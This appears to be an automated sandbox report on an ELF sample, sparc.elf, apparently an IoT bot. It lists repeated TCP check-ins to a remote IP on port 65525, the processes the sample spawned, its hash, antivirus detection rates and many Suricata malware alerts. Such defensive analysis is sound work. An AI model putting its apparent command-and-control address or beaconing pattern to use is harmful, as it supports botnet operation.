Jan 3, 2025 08:09:36.304112911 CET	53230	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:36.304970980 CET	53232	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:36.309026957 CET	65525	53230	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:36.309760094 CET	65525	53232	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:36.309864044 CET	53232	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:36.309909105 CET	53232	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:36.314713955 CET	65525	53232	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:38.075762033 CET	65525	53232	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:38.076134920 CET	53232	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:38.076836109 CET	53234	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:38.080924034 CET	65525	53232	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:38.081717968 CET	65525	53234	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:38.081775904 CET	53234	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:38.081834078 CET	53234	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:38.086599112 CET	65525	53234	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:39.876115084 CET	65525	53234	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:39.876473904 CET	53234	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:39.877371073 CET	53236	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:39.881290913 CET	65525	53234	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:39.882226944 CET	65525	53236	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:39.882282972 CET	53236	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:39.882353067 CET	53236	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:39.887125015 CET	65525	53236	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:41.637794971 CET	65525	53236	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:41.638056993 CET	53236	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:41.638638020 CET	53238	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:41.642813921 CET	65525	53236	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:41.643419981 CET	65525	53238	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:41.643467903 CET	53238	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:41.643495083 CET	53238	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:41.648231983 CET	65525	53238	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:43.401933908 CET	65525	53238	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:43.402040005 CET	53238	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:43.402401924 CET	53240	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:43.406770945 CET	65525	53238	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:43.407160997 CET	65525	53240	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:43.407207012 CET	53240	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:43.407229900 CET	53240	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:43.411987066 CET	65525	53240	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:45.186995983 CET	65525	53240	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:45.187165022 CET	53240	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:45.187954903 CET	53242	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:45.192001104 CET	65525	53240	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:45.192769051 CET	65525	53242	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:45.192822933 CET	53242	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:45.192837000 CET	53242	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:45.197643042 CET	65525	53242	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:46.985930920 CET	65525	53242	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:46.986078978 CET	53242	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:46.986697912 CET	53244	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:46.990931988 CET	65525	53242	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:46.991525888 CET	65525	53244	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:46.991578102 CET	53244	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:46.991609097 CET	53244	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:46.996320963 CET	65525	53244	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:48.774991035 CET	65525	53244	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:48.775147915 CET	53244	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:48.776006937 CET	53246	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:48.779948950 CET	65525	53244	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:48.780802011 CET	65525	53246	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:48.780853033 CET	53246	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:48.780867100 CET	53246	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:48.785635948 CET	65525	53246	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:50.568136930 CET	65525	53246	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:50.568320990 CET	53246	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:50.568878889 CET	53248	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:50.573134899 CET	65525	53246	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:50.573671103 CET	65525	53248	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:50.573749065 CET	53248	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:50.573801994 CET	53248	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:50.578577995 CET	65525	53248	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:52.340049028 CET	65525	53248	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:52.340286016 CET	53248	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:52.341063976 CET	53250	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:52.346107006 CET	65525	53248	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:52.346486092 CET	65525	53250	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:52.346577883 CET	53250	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:52.346631050 CET	53250	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:52.352654934 CET	65525	53250	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:54.135603905 CET	65525	53250	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:54.135759115 CET	53250	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:54.136677027 CET	53252	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:54.141096115 CET	65525	53250	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:54.142278910 CET	65525	53252	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:54.142334938 CET	53252	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:54.142396927 CET	53252	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:54.147212982 CET	65525	53252	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:55.939843893 CET	65525	53252	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:55.940186024 CET	53252	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:55.941011906 CET	53254	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:55.944989920 CET	65525	53252	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:55.946074009 CET	65525	53254	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:55.946160078 CET	53254	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:55.946177006 CET	53254	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:55.950952053 CET	65525	53254	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:57.736809015 CET	65525	53254	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:57.737054110 CET	53254	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:57.737818003 CET	53256	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:57.741847038 CET	65525	53254	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:57.742630959 CET	65525	53256	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:57.742696047 CET	53256	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:57.742760897 CET	53256	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:57.747503042 CET	65525	53256	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:59.515243053 CET	65525	53256	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:59.515567064 CET	53256	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:59.516191959 CET	53258	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:59.520396948 CET	65525	53256	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:59.521018982 CET	65525	53258	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:59.521104097 CET	53258	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:59.521183014 CET	53258	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:59.525930882 CET	65525	53258	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:01.298505068 CET	65525	53258	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:01.298928022 CET	53258	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:01.299707890 CET	53260	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:01.303778887 CET	65525	53258	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:01.304516077 CET	65525	53260	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:01.304603100 CET	53260	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:01.304645061 CET	53260	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:01.309453964 CET	65525	53260	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:03.079922915 CET	65525	53260	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:03.080316067 CET	53260	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:03.081408978 CET	53262	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:03.085212946 CET	65525	53260	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:03.086250067 CET	65525	53262	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:03.086354971 CET	53262	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:03.086412907 CET	53262	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:03.091187000 CET	65525	53262	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:04.857372999 CET	65525	53262	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:04.857680082 CET	53262	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:04.858793020 CET	53264	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:04.862431049 CET	65525	53262	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:04.863586903 CET	65525	53264	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:04.863643885 CET	53264	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:04.863673925 CET	53264	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:04.868491888 CET	65525	53264	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:06.642452955 CET	65525	53264	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:06.642915010 CET	53264	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:06.643996954 CET	53266	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:06.647763968 CET	65525	53264	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:06.648777962 CET	65525	53266	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:06.648844004 CET	53266	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:06.648905039 CET	53266	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:06.653624058 CET	65525	53266	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:08.422091961 CET	65525	53266	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:08.422261000 CET	53266	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:08.422980070 CET	53268	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:08.427104950 CET	65525	53266	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:08.427803040 CET	65525	53268	212.64.199.97	192.168.2.23
Jan 3, 2025 08:10:08.427862883 CET	53268	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:08.427927971 CET	53268	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:10:08.432806015 CET	65525	53268	212.64.199.97	192.168.2.23

System Behavior

Analysis Process: sparc.elf PID: 6269, Parent PID: 6194

General

Start time (UTC):	07:06:31
Start date (UTC):	03/01/2025
Path:	/tmp/sparc.elf
Arguments:	/tmp/sparc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	07:06:31
Start date (UTC):	03/01/2025
Path:	/tmp/sparc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	07:06:31
Start date (UTC):	03/01/2025
Path:	/tmp/sparc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	07:06:51
Start date (UTC):	03/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	07:06:51
Start date (UTC):	03/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.qA3gIVf2U2 /tmp/tmp.rxi0equVk6 /tmp/tmp.Keyesmc4lv
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	07:06:51
Start date (UTC):	03/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	07:06:51
Start date (UTC):	03/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.qA3gIVf2U2 /tmp/tmp.rxi0equVk6 /tmp/tmp.Keyesmc4lv
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Source: sparc.elf	Virustotal: Detection: 65%			Perma Link
Source: sparc.elf	ReversingLabs: Detection: 65%

Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53032 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53060 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53062 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53056 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53048 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53034 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53084 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53030 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53096 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53106 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53036 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53044 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53128 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53094 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53042 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53130 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53082 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53058 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53134 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53040 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53210 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53164 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53102 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53202 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53090 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53064 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53068 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53088 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53178 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53250 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53072 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53224 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53146 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53238 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53190 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53222 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53154 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53122 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53160 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53144 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53166 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53152 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53132 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53156 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53148 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53136 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53174 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53182 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53244 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53078 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53098 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53086 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53124 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53162 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53138 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53186 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53118 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53234 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53050 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53172 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53168 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53204 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53104 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53232 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53110 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53236 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53246 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53242 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53214 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53158 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53114 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53258 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53260 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53142 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53256 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53080 -> 212.64.199.97:65525
